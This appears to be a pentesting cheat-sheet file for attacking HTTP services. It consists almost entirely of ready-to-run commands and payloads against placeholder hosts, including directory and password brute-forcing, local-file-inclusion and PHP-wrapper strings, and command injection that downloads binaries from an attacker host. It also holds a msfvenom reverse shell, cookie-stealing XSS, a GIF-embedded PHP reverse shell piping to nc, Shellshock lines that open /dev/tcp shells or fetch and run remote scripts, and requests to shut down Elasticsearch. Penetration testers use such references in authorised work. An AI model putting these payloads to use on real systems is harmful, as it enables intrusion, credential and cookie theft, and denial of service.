-
Notifications
You must be signed in to change notification settings - Fork 35
/
Copy pathTarget.Host.Service.HTTP.txt
509 lines (354 loc) · 21.3 KB
/
Target.Host.Service.HTTP.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
`` Initial
`` nikto
`` Less defaults, less intense, no dictionary
~$ nikto -h http://VAR_TARGET_HOST -Plugins "outdated;shellshock;msgs;cookies;cgi;put_del_test;headers;multiple_index;httpoptions;ssl;robots;origin_reflection"
`` All batteries included
~$ nikto -h http://VAR_TARGET_HOST
~$ nikto -h http://VAR_TARGET_HOST -useproxy http://VAR_PROXY_HOST:8881
`` pukpuk
~$ pukpuk -c VAR_TARGET_CIDR -ua "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" -p 80/http 81/http 443/https 8000/http 8080/http 8443/https
-- Basic grabbing after using scan_top.sh script and the result HTTP file
~$ pukpuk -l VAR_FILENAME -ua "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" -p 80/http 443/https 4443/https 8000/http 8080/http 8081/http 8082/http 8888/http 8443/https 9443/https
-- Extended port list and read targets from file
~$ pukpuk -l VAR_TARGET_LIST -ua "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" -p 80/http 81/http 82/http 83/http 443/https 1080/http 1443/https 4443/https 7443/https 8000/http 8001/http 8008/http 8080/http 8081/http 8088/http 8443/https 8888/http 9000/http 9080/http 9443/https 10080/http 10443/https 11443/https 12443/https
`` nmap
~$ nmap VAR_TARGET_HOST -p 80 -v -sV --script "http-sitemap-gen*,http-methods,http-mobile*,http-open*,http-sql*,http-userdir*,http-vhosts,http-webdav*,http-iis*,http-enum*,http-frontpage*,http-useragent*"
`` Path Discovery / Crawling
~$ hakrawler -url VAR_TARGET_HOST -depth 1
`` Path Bruteforcing
`` Look for "hidden" resources, home dirs, useful files etc. Complete step by step chain.
~$ export USERAGENT="User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
~$ export TARGET=https://VAR_TARGET_HOST
~$ export EXTENSIONS=$(tr '\n' ',' < ~/lib/brutas/brutas-http-files-extensions-common.txt)
~$ ffuf -w VAR_WORDLIST -H "$USERAGENT" -u $TARGET/FUZZ -mc 200
~$ ffuf -w VAR_WORDLIST -H "$USERAGENT" -u $TARGET/FUZZ -e $EXTENSIONS -mc 200
~$ ffuf -w VAR_WORDLIST -recursion -recursion-depth 5 -H "$USERAGENT" -u $TARGET/FUZZ -e '/' -mc 200,204,401,403,405
~$ ffuf -w VAR_WORDLIST -recursion -recursion-depth 5 -H "$USERAGENT" -u $TARGET/.FUZZ -e '/' -mc 200,204,401,403,405
`` Using a list of paths
~$ while read lin; ffuf -w ~/lib/brutas/brutas-http-files.txt -H "$USERAGENT" -u $lin/FUZZ -e $EXTENSIONS -mc 200; done < paths.txt
`` Generic, follow redirects (-r), adaptive (-ac), silent (-s) and recursive (-recursion)
~$ ffuf -w VAR_WORDLIST -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)" -u https://VAR_TARGET_HOST/FUZZ -r -ac -s -recursion
`` Slow and peaceful
~$ ffuf -t 10 -p 1 -w VAR_WORDLIST -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)" -u https://VAR_TARGET_HOST/FUZZ
`` Less intense and a little bit randomized
~$ ffuf -fc 403,302 -p "0.1-2.0" -t 4 -w VAR_WORDLIST -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)" -u https://VAR_TARGET_HOST/FUZZ
`` Match OK 200 only
~$ ffuf -w VAR_WORDLIST -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)" -u https://VAR_TARGET_HOST/FUZZ -mc 200
`` Match based on response size
~$ ffuf -w VAR_WORDLIST -u https://VAR_TARGET_HOST/script.php?FUZZ=test_value -fs VAR_INTEGER
`` HTTP header fuzzing
~$ ffuf -w VAR_WORDLIST -u https://VAR_TARGET_HOST -H "Host: FUZZ"
`` LFI
`` Automated
~$ dotdotpwn -m http-url -k "root:" -u "http://VAR_TARGET_HOST/?url=TRAVERSAL" -o unix -d 8 -f "/etc/passwd"
~$ dotdotpwn -m http-url -k "mci extensions" -u "http://VAR_TARGET_HOST/?url=TRAVERSAL" -o windows -d 8 -f "windows\win.ini"
`` Basic
?file=../../../../../../../../../var/log/apache/error.log
?file=/etc/passwd/../../../../../../../../../../../../../../../../../..
`` Path Truncation
.php?filename=../../../etc/passwd/././././././././/././././././././././[...]
`` Nullbyte Injection
?file=../../../../etc/passwd%00
?file=../../../../etc/passwd%00jpg
`` Poisoning
`` Headers
.php?filename=../../../proc/self/environ
User-Agent: <?=phpinfo(); ?>
.php?filename[]= HTTP/1.1
Referer: <?=phpinfo();?>
.php?filename=../../../var/log/nginx/error_log
`` SSH
~$ ssh <?=phpinfo();?>@VAR_ATTACKER_HOST
.php?filename=../../../var/log/auth.log
`` SMTP
~$ mail -s "<?=phpinfo();?>" www-data@VAR_ATTACKER_HOST < /dev/null
.php?filename=../../../var/log/www-data
`` curl
~$ curl 'http://VAR_TARGET_HOST/cgi-bin/admin.cgi' -i -s > before
~$ curl 'http://VAR_TARGET_HOST/cgi-bin/admin.cgi?list=../../../../../../../../../../etc/passwd' -i -s > after
~$ diff before after
`` Automated
`` Generic
~$ wapiti -u http://VAR_TARGET_HOST/
~$ commix --url="http://VAR_TARGET_HOST/?url=INJECT_HERE"
~$ commix --url="http://VAR_TARGET_HOST/debug.php" --data="addr=127.0.0.1" --icmp-exfil="ip_src=VAR_TARGET_HOST,ip_dst=VAR_TARGET_HOST"
~$ commix --url="http://VAR_TARGET_HOST/pingit.php" --data="ip=127.0.0.1E&submit=submit" --auth-url="http://VAR_TARGET_HOST/index.php" --auth-data="uname=admin&psw=%27+OR+1%3D1--+-&btnLogin=Login"
~$ commix --url="http://VAR_TARGET_HOST:8080/phptax/drawimage.php?pfilez=127.0.0.1&pdf=make" --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64)" --technique="f" --root-dir="/"
~$ commix --url="http://VAR_TARGET_HOST/cgi-bin/status/" --shellshock
~$ commix --url="http://VAR_TARGET_HOST/commix-testbed/scenarios/cookie/cookie(blind).php" --cookie="addr=127.0.0.1"
~$ commix --url="http://VAR_TARGET_HOST/commix-testbed/scenarios/user-agent/ua(blind).php" --level=3
~$ commix --url="http://VAR_TARGET_HOST/commix-testbed/scenarios/referer/referer(classic).php" --level=3
~$ commix --url="http://VAR_TARGET_HOST/do/cmd/*" --headers="X-UUID:commix\nX-Token:dTGzPdMJlOoR3CqZJy7oX9JU72pvwNEF" --base64
~$ commix --url="http://VAR_TARGET_HOST/commix-testbed/scenarios/regular/POST/classic_json.php" --data='{"addr":"127.0.0.1","name":"ancst"}'
~$ commix --url="http://VAR_TARGET_HOST/cgi-bin/status" --shellshock --proxy="VAR_PROXY_HOST:3128"
`` Wordpress
~$ wpscan --url VAR_TARGET_HOST -e vt,vp
~$ wpscan --url http://VAR_TARGET_HOST/ --wordlist VAR_WORDLIST --username VAR_USERNAME
`` Joomla
joomscan
`` Fingerprinting
~$ python3 ./wig.py http://VAR_TARGET_HOST/
`` Ideas
`` Bypassing auth with keep-alive
~$ printf 'GET / HTTP/1.1\r\nConnection: keep-alive\r\n\r\n' | ncat --ssl -v VAR_TARGET_HOST VAR_TARGET_PORT
`` BusyBox chain
~$ curl -v --user 'VAR_USERNAME:VAR_PASSWORD' 'http://VAR_TARGET_HOST/command.cgi?ps|wget http://VAR_ATTACKER_HOST/tcpdump -P /tmp%26%26wget http://VAR_ATTACKER_HOST/busybox-mipsel -P /tmp%26%26chmod %2Bx /tmp/tcpdump%26%26chmod %2Bx /tmp/busybox-mipsel%26%26/tmp/tcpdump -n -i any udp -w -|/tmp/busybox-mipsel nc VAR_ATTACKER_HOST 10000'
`` Node.js
http://localhost:3000/?name=["./;eval(new Buffer('PAYLOAD', 'hex').toString());//*"]
`` Perl
value='||eval `echo -e "YXdrIC...V2L251bGwK" | openssl enc -a -d`;#'
`` PHP wrappers
~$ curl -s --data "<?system('ls -la');?>" "http://VAR_TARGET_HOST/script.php?path=php://input%00" | html2text
.php?page=expect://ls
.php?page=php://filter/resource=/etc/passwd
.php?page=php://filter/convert.base64-encode/resource=/etc/passwd
.php?page=zip:///var/www/images/tmp.zip%23tmp
.php?page=php://filter/read=zlib.deflate/read=convert.base64-encode/resource=/etc/passwd
.php?page=data:;base64,PD9zeXN0ZW0oJF9HRVRbJ2NtZCddKTs/Pgo==&cmd=ls
.php?page=data:text/plain,<?system($_GET['cmd']);?>&cmd=ls
`` Python decompress
>>> zlib.decompress(base64.b64decode(req), -15)
`` IIS
~$ cadaver http://VAR_TARGET_HOST
dav:/> put alter.asp alter.txt
dav:/> copy alter.txt alter.asp;.txt
`` RCE
~$ msfvenom -p linux/x86/shell_reverse_tcp LHOST=VAR_ATTACKER_HOST LPORT=80 -f elf > /var/www/html/index.html
~$ curl "http://VAR_TARGET_HOST/sync?opt=' w\get VAR_ATTACKER_HOST -P /tmp'
~$ curl "http://VAR_TARGET_HOST/sync?opt=' c\hmod +x /tmp/index.html'
~$ curl "http://VAR_TARGET_HOST/sync?opt=' /tmp/index.html'
`` XHR
var xhr = new XMLHttpRequest();
xhr.open('TRACE', 'http://VAR_TARGET_HOST/', false);
xhr.send(null);
if(200 == xhr.status)
alert(xhr.responseText);
`` Cookies
<img src="error.jpg" onerror="eval('new Image().src=\"http://VAR_TARGET_HOST:8000/\"+ document.cookie;')">
<script>new Image().src="http://VAR_TARGET_HOST:8888/?o="+document.cookie;</script>
>>> s = 'new Image().src=\"http://VAR_TARGET_HOST:8000/\"+ document.cookie;'
>>> PAYLOAD = [ord(c) for c in s]
<img src="error.jpg" onerror="eval(String.fromCharCode(PAYLOAD))">
<script>new Image().src="http://VAR_TARGET_HOST/?o="+document.cookie;</script>
`` Images
`` GIF
GIF98 <?php echo shell_exec("rm /tmp/.kernel;mkfifo /tmp/.kernel;cat /tmp/.kernel|/bin/sh -i 2>&1|nc VAR_ATTACKER_HOST 8000 >/tmp/.kernel"); ?>
`` JPEG
~$ echo 'FFD8FFDB' | xxd -r -p > test.jpg
~$ echo '<?php phpinfo(); ?>' >> test.jpg
`` Paths
- /etc/httpd/logs/acces.log
- /etc/httpd/logs/acces_log
- /etc/httpd/logs/error.log
- /etc/httpd/logs/error_log
- /usr/local/apache/logs/access.log
- /usr/local/apache/logs/access_log
- /usr/local/apache/logs/error.log
- /usr/local/apache/logs/error_log
- /var/log/access.log
- /var/log/access_log
- /var/log/apache/access.log
- /var/log/apache/access_log
- /var/log/apache/error.log
- /var/log/apache/error_log
- /var/log/apache2/access.log
- /var/log/apache2/access_log
- /var/log/apache2/error.log
- /var/log/apache2/error_log
- /var/log/error.log
- /var/log/error_log
- /var/www/logs/access.log
- /var/www/logs/access_log
- /var/www/logs/error.log
- /var/www/logs/error_log
- /var/log/auth.log
- /var/log/cron.log
- /var/log/httpd/access_log
- /var/log/httpd/error_log
- /var/log/messages
- /var/log/secure
- /var/www/config.php
- /var/www/configuration.php
- /var/www/configuration.php
- /var/www/html/inc/header.inc.php
- /var/www/html/sites/default/settings.php
- /var/www/html/wp-config.php
`` Shellshock
`` Tools
~$ nmap VAR_TARGET_HOST -p VAR_TARGET_PORT --script http-shellshock --script-args uri=/cgi-bin/test.cgi
~$ wfuzz -H "User-Agent: () { :;}; echo; echo vulnerable" --ss vulnerable -w VAR_WORDLIST http://VAR_TARGET_HOST/FUZZ
`` Test
GET /cgi-bin/script.cgi HTTP/1.1
() { :;}; echo; echo "VAR_STRING_1": () { :;}; echo; echo "VAR_STRING_2"
Host: VAR_TARGET_HOST
Connection: close
Cookie: () { :;}; echo; echo "VAR_STRING_3"
User-Agent: () { :;}; echo; echo "VAR_STRING_4"
Referer: () { :;}; echo; echo "VAR_STRING_5"
`` Samples
Referer: () { :;}; echo "XXX"; /bin/bash -c "exec /bin/sh 0</dev/tcp/VAR_TARGET_HOST/443 1>&0 2>&0 &"
x: () { :;}; /sbin/ifconfig > /tmp/ifconfig.txt
x: () { :;}; echo "Hacked" > /var/www/hacked.html
env ENV_VAR_FN=’() { <your function> }; <attacker code here>’
User-agent: () { :;}; echo something>/var/www/html/new_file
() { :;}; /bin/bash -c \"whoami | mail -s 'VAR_TARGET_HOST l' xxxxxxxxxxxxxxxx@gmail.com
() {:;}; ping -c 1 -p VAR_HEX VAR_ATTACKER_HOST
() {:;}; /usr/bin/wget http://VAR_ATTACKER_HOST/VAR_HEX >> `null
() { :;}; /bin/bash -c \"cd /tmp;wget http://VAR_TARGET_HOST/ji;curl -O /tmp/ji http://VAR_TARGET_HOST/ji ; perl /tmp/ji;rm -rf /tmp/ji\"
() { :;}; /bin/bash -c \"/usr/bin/env curl -s http://VAR_TARGET_HOST/cl.py > /tmp/clamd_update; chmod +x /tmp/clamd_update; /tmp/clamd_update > /dev/null& sleep 5; rm -rf /tmp/clamd_update\"
Whatever-Here: () { :;}; echo "XXX"; /bin/bash -c "exec /bin/sh 0</dev/tcp/VAR_TARGET_HOST/VAR_TARGET_PORT 1>&0 2>&0 &"
`` curl
~$ curl -v -X TRACE VAR_TARGET_HOST
~$ curl --user 'VAR_USERNAME:VAR_PASSWORD' 'https://VAR_TARGET_HOST'
~$ curl --verbose --header 'Host: VAR_TARGET_HOST' 'http://VAR_TARGET_HOST/'
~$ curl -v -X OPTIONS http://VAR_TARGET_HOST
~$ curl VAR_TARGET_HOST -s -L | html2text -width '99' | uniq
~$ curl -X POST -H "Content-Type: application/json" -d @data.json http://VAR_TARGET_HOST/script.php
~$ curl -X POST -H "Content-Type: application/json" -d 'VAR_STRING' http://VAR_TARGET_HOST/script.php
~$ curl "http://VAR_TARGET_HOST/sync?opt=' /usr/bin/whi[c]h mk\nod'"
~$ curl "http://VAR_TARGET_HOST/sync?opt=' p\s aux'"
~$ curl "http://VAR_TARGET_HOST/sync?opt=' c\at /usr/local/ope\nresty/nginx/conf/nginx.conf'" > nginx.conf
~$ curl -s VAR_TARGET_HOST/users/{1..20}.json
`` WebDAV
`` Tools
~$ davtest -url http://VAR_TARGET_HOST
`` curl
~$ curl -v -X PUT -d @test.txt http://VAR_TARGET_HOST/test.txt
~$ curl -v -X PUT -d '<% out.println("hello");%>' http://VAR_TARGET_HOST/test.jsp
~$ curl -v -X MOVE --header 'Destination:http://VAR_TARGET_HOST/new.txt' 'http://VAR_TARGET_HOST/old.txt'
~$ curl -v -X DELETE http://VAR_TARGET_HOST:8585/uploads/verify.txt
~$ curl -X MKCOL 'https://VAR_TARGET_HOST/new_folder'
~$ curl -u VAR_USERNAME:VAR_PASSWORD -X MKCOL 'http://VAR_TARGET_HOST/webdav/test/'
`` ElasticSearch
~$ curl -X GET http://VAR_TARGET_HOST:9200/_cat/indices?v
~$ curl -X GET http://VAR_TARGET_HOST:9200/VAR_STRING/_search
~$ curl -X POST http://VAR_TARGET_HOST:9200/_shutdown
~$ curl -X POST http://VAR_TARGET_HOST:9200/_cluster/nodes/_master/_shutdown
`` Logstash
~$ curl -X GET 'http://VAR_TARGET_HOST:9600/?pretty'
~$ curl -X GET 'http://VAR_TARGET_HOST:9600/_node/jvm?pretty'
~$ curl -X GET 'http://VAR_TARGET_HOST:9600/_node/pipelines?pretty'
~$ curl -X GET 'http://VAR_TARGET_HOST:9600/_node/os?pretty'
~$ curl -X GET 'http://VAR_TARGET_HOST:9600/_node/plugins?pretty'
~$ curl -X GET 'http://VAR_TARGET_HOST:9600/_node/hot_threads?human=true'
~$ curl -X GET 'http://VAR_TARGET_HOST:9600/_node/stats/jvm?pretty'
~$ curl -X GET 'http://VAR_TARGET_HOST:9600/_node/stats/process?pretty'
~$ curl -X GET 'http://VAR_TARGET_HOST:9600/_node/stats/events?pretty'
~$ curl -X GET 'http://VAR_TARGET_HOST:9600/_node/stats/pipelines?pretty'
~$ curl -X GET 'http://VAR_TARGET_HOST:9600/_node/stats/reloads?pretty'
~$ curl -X GET 'http://VAR_TARGET_HOST:9600/_node/stats/os?pretty'
`` Password Bruteforcing
`` POST
~$ hydra VAR_TARGET_HOST http-post-form -V -t 2 -w 30 -f -L usernames.txt -P passwords.txt "/admin_loginok.html:username=^USER^&password=^PASS^&username_val=^USER^&password_val=^PASS^&submit_btn=+Login+:Login failed"
~$ ffuf -w VAR_WORDLIST -X POST -d "username=admin\&password=FUZZ" -u https://VAR_TARGET_HOST/script.php -fc 401
`` GET with cookie
~$ hydra VAR_TARGET_HOST http-get-form -V -t 2 -l VAR_USERNAME -P VAR_WORDLIST "/index.php:username=^USER^&password=^PASS^&Login=Login:Username and/or password incorrect.:H=Cookie:security=low;PHPSESSID=VAR_STRING"
`` Non-standard port
~$ hydra VAR_TARGET_HOST http-post-form -I -d -V -t 1 -w 80 -c 1 -W 3 -s 5466 -f -L usernames.txt -e nsr "/admin_loginok.html:username=^USER^&password=^PASS^&username_val=^USER^&password_val=^PASS^&submit_btn=+Login+:failed:H=User-Agent\: Mozilla/5.0 (X11; Linux x86_64; rv\:52.0) Gecko/20100101 Firefox/52.0:C="
`` Proxied
~$ env HYDRA_PROXY_HTTP=http://localhost:8080 hydra VAR_TARGET_HOST http-post-form -V -t 2 -s 5466 -f -L usernames.txt -P passwords.txt "/admin_loginok.html:username=^USER^&password=^PASS^&username_val=^USER^&password_val=^PASS^&submit_btn=+Login+:Login failed"
~$ proxychains4 -q curl -sv --cookie "username=VAR_USERNAME; password=VAR_PASSWORD" --data "user=%00<?system('ls -la'); die();?>" "http://VAR_TARGET_HOST/script.php" | html2text
`` Wordpress
~$ hydra VAR_TARGET_HOST -V http-form-post -L usernames.txt -P passwords.txt '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location'
`` Tomcat
~$ ~/lib/pentesting-cookbook/tomcat_brute.py -u VAR_TARGET_URL
`` WebRTC local IP discovery
`` Simplified
window.RTCPeerConnection = window.RTCPeerConnection || window.mozRTCPeerConnection || window.webkitRTCPeerConnection;
var pc = new RTCPeerConnection({iceServers:[]}), noop = function(){};
pc.createDataChannel("");
pc.createOffer(pc.setLocalDescription.bind(pc), noop);
pc.onicecandidate = function(ice){
if(!ice || !ice.candidate || !ice.candidate.candidate) return;
var localIp = /([0-9]{1,3}(\.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})/.exec(ice.candidate.candidate)[1];
console.log('Local IP: ', localIp);
pc.onicecandidate = noop;
};
`` Over STUN request
-- Source: https://github.com/diafygi/webrtc-ips
// <iframe id="iframe" sandbox="allow-same-origin" style="display: none"></iframe>
// <script>getIPs(function(ip){console.log(ip);});
function getIPs(callback){
var ip_dups = {};
var RTCPeerConnection = window.RTCPeerConnection || window.mozRTCPeerConnection || window.webkitRTCPeerConnection;
var useWebKit = !!window.webkitRTCPeerConnection;
if (!RTCPeerConnection) {
var win = iframe.contentWindow;
RTCPeerConnection = win.RTCPeerConnection || win.mozRTCPeerConnection || win.webkitRTCPeerConnection;
useWebKit = !!win.webkitRTCPeerConnection;
}
var mediaConstraints = {
optional: [{RtpDataChannels: true}]
};
var servers = {iceServers: [{urls: "stun:stun.services.mozilla.com"}]};
var pc = new RTCPeerConnection(servers, mediaConstraints);
function handleCandidate(candidate){
var ip_regex = /([0-9]{1,3}(\.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})/
var ip_addr = ip_regex.exec(candidate)[1];
if(ip_dups[ip_addr] === undefined)
callback(ip_addr);
ip_dups[ip_addr] = true;
}
pc.onicecandidate = function(ice){
if(ice.candidate)
handleCandidate(ice.candidate.candidate);
};
pc.createDataChannel("");
pc.createOffer(function(result){
pc.setLocalDescription(result, function(){}, function(){});
}, function(){});
setTimeout(function(){
var lines = pc.localDescription.sdp.split('\n');
lines.forEach(function(line){
if(line.indexOf('a=candidate:') === 0)
handleCandidate(line);
});
}, 1000);
}
`` Popular MIME Types
- application/excel
- application/javascript
- application/msword
- application/octet-stream
- application/pdf
- application/powerpoint
- application/vnd.ms-excel
- application/vnd.ms-powerpoint
- image/bmp
- image/gif
- image/jpeg
- image/png
- text/javascript
- text/plain
`` Popular User-Agent strings
-- Based on https://developers.whatismybrowser.com/useragents/explore/software_type_specific/web-browser/1
`` Windows
`` Chrome
-- ver. 74
- Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
-- ver. 98
- Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
`` Internet Explorer
-- ver. 6
- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)
- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
-- ver. 7
- Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
-- ver. 9
- Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; KTXN)
- Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; 125LA; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)
-- ver. 11
- Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
`` Edge
-- ver. 44
- Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/18.17763
-- ver. 96
- Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.62
`` Linux
`` Chrome
-- ver. 44
- Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
`` Mirroring
`` Relatively peaceful, capturing *.war only
~$ wget --convert-links --no-parent -m -e robots=off -r -A *.war --limit-rate=250k -w2 http://VAR_TARGET_HOST:8080/repository